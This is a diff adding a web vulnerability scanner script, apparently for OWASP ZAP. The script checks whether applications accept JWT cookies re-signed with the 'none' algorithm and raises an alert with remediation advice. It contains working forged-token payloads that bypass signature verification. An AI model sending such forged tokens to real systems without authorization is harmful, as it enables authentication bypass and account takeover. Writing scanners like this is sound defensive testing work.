|
| 1 | +// ECMA Script uses the Oracle Nashorn engine, therefore all standard library comes from Java |
| 2 | +// https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html |
| 3 | +var Cookie = Java.type("java.net.HttpCookie") |
| 4 | +var Base64 = Java.type("java.util.Base64") |
| 5 | +var String = Java.type("java.lang.String") |
| 6 | + |
| 7 | +// Exploit information, used for raising alerts |
| 8 | +var RISK = 3 |
| 9 | +var CONFIDENCE = 2 |
| 10 | +var TITLE = "JWT None Exploit" |
| 11 | +var DESCRIPTION = "The application's JWT implementation allows for the usage of the 'none' algorithm, which bypasses the JWT hash verification." |
| 12 | +var SOLUTION = "Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms." |
| 13 | +var REFERENCE = "https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/" |
| 14 | +var CWEID = 347 // CWE-347: Improper Verification of Cryptographic Signature |
| 15 | +var WASCID = 15 // WASC-15: Application Misconfiguration |
| 16 | + |
| 17 | +function b64encode(string) { |
| 18 | + // Terminate the string with a null byte prior to encoding. I suspect that |
| 19 | + // this is required because the string being created as a JavaScript string |
| 20 | + // and then handled like a java.lang.String object. When the null byte isn't |
| 21 | + // present the Base64 encode call returns the decoded string, along with |
| 22 | + // additional garbage characters. |
| 23 | + var message = (string + "\0").getBytes() |
| 24 | + var bytes = Base64.getEncoder().encode(message) |
| 25 | + return new String(bytes) |
| 26 | +} |
| 27 | + |
| 28 | +function b64decode(string) { |
| 29 | + var message = string.getBytes() |
| 30 | + var bytes = Base64.getDecoder().decode(message) |
| 31 | + return new String(bytes) |
| 32 | +} |
| 33 | + |
| 34 | +// Detects if a given string may be a valid JWT |
| 35 | +function is_jwt(content) { |
| 36 | + var separated = content.split(".") |
| 37 | + |
| 38 | + if (separated.length != 3) return false |
| 39 | + |
| 40 | + try { |
| 41 | + b64decode(separated[0]) |
| 42 | + b64decode(separated[1]) |
| 43 | + } |
| 44 | + catch (err) { |
| 45 | + return false |
| 46 | + } |
| 47 | + |
| 48 | + return true |
| 49 | +} |
| 50 | + |
| 51 | +function build_payloads(jwt) { |
| 52 | + // Build header specifying use of the none algorithm |
| 53 | + var header = b64encode('{"alg":"none","typ":"JWT"}') |
| 54 | + var separated = jwt.split(".") |
| 55 | + |
| 56 | + // Try a series of different JWT formats |
| 57 | + return [ |
| 58 | + header + "." + separated[1] + ".", // no hash |
| 59 | + header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash |
| 60 | + header + "." + separated[1] + ".\\(•_•)/", // junk hash |
| 61 | + header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash |
| 62 | + separated[0] + "." + separated[1] + "." // old header but no hash |
| 63 | + ] |
| 64 | +} |
| 65 | + |
| 66 | +// This method is called for every node on the site |
| 67 | +// ActiveScan as, HttpMessage msg |
| 68 | +function scanNode(as, msg) { |
| 69 | + print("Scanning " + msg.getRequestHeader().getURI().toString()) |
| 70 | + |
| 71 | + // Extract request cookies and detect if using JWT |
| 72 | + var cookies = msg.getRequestHeader().getHttpCookies() |
| 73 | + var jwt_cookies = [] |
| 74 | + for (var i = 0; i < cookies.length; i++) { |
| 75 | + var cookie = cookies[i] |
| 76 | + if (is_jwt(cookie.getValue())) |
| 77 | + jwt_cookies.push(cookie) |
| 78 | + } |
| 79 | + |
| 80 | + // If no cookie found: skip, if cookie(s) found, use the first |
| 81 | + if (jwt_cookies.length == 0) |
| 82 | + return |
| 83 | + if (jwt_cookies.length > 1) |
| 84 | + print("Multiple cookies using JWT found but not yet supported, only first will be used for testing") |
| 85 | + |
| 86 | + // Default to the first cookie found that uses JWT |
| 87 | + var target_cookie = jwt_cookies[0] |
| 88 | + |
| 89 | + // Send a safe request (with original cookie) to see what a correct response looks like |
| 90 | + var msg_safe = msg.cloneRequest() |
| 91 | + msg_safe.setCookies([target_cookie]) |
| 92 | + as.sendAndReceive(msg_safe) |
| 93 | + |
| 94 | + // Send a completely mangled request to see if the page actually looks at the cookie |
| 95 | + var msg_bad = msg.cloneRequest() |
| 96 | + msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")]) |
| 97 | + as.sendAndReceive(msg_bad) |
| 98 | + |
| 99 | + var safe_body = msg_safe.getResponseBody() |
| 100 | + var bad_body = msg_bad.getResponseBody() |
| 101 | + |
| 102 | + // If the mangled cookie gives the same response as the correct cookie, we can assume |
| 103 | + // that the page does not care what we send in that field and that there is not an exploit |
| 104 | + if (safe_body.equals(bad_body)) |
| 105 | + return |
| 106 | + |
| 107 | + var payloads = build_payloads(target_cookie.getValue()) |
| 108 | + |
| 109 | + for (var i = 0; i < payloads.length; i++) { |
| 110 | + var payload = payloads[i] |
| 111 | + var cookie_payload = new Cookie(target_cookie.getName(), payload) |
| 112 | + var msg_loaded = msg.cloneRequest() |
| 113 | + |
| 114 | + msg_loaded.setCookies([cookie_payload]) |
| 115 | + as.sendAndReceive(msg_loaded) |
| 116 | + |
| 117 | + var loaded_body = msg_loaded.getResponseBody() |
| 118 | + |
| 119 | + // If the body of the request sent with the none algorithm is the same as the body of the request |
| 120 | + // sent with the default algorithm, we know that the server is parsing the JWT instead of throwing |
| 121 | + // some form of server error. We can assume (in this case) that the server is parsing the none |
| 122 | + // algorithm and ignoring the hash--which is a vulnerability. |
| 123 | + if (loaded_body.equals(safe_body)) |
| 124 | + raise_alert(msg_loaded, target_cookie, payload, as) |
| 125 | + } |
| 126 | +} |
| 127 | + |
| 128 | +function raise_alert(msg, cookie, payload, as) { |
| 129 | + print("Vulnerability found, sending alert") |
| 130 | + as.raiseAlert( |
| 131 | + RISK, CONFIDENCE, TITLE, DESCRIPTION, |
| 132 | + msg.getRequestHeader().getURI().toString(), "", "", "", SOLUTION, |
| 133 | + "Cookie: " + cookie.getName() + "=" + payload, REFERENCE, |
| 134 | + CWEID, WASCID, msg |
| 135 | + ) |
| 136 | +} |
0 commit comments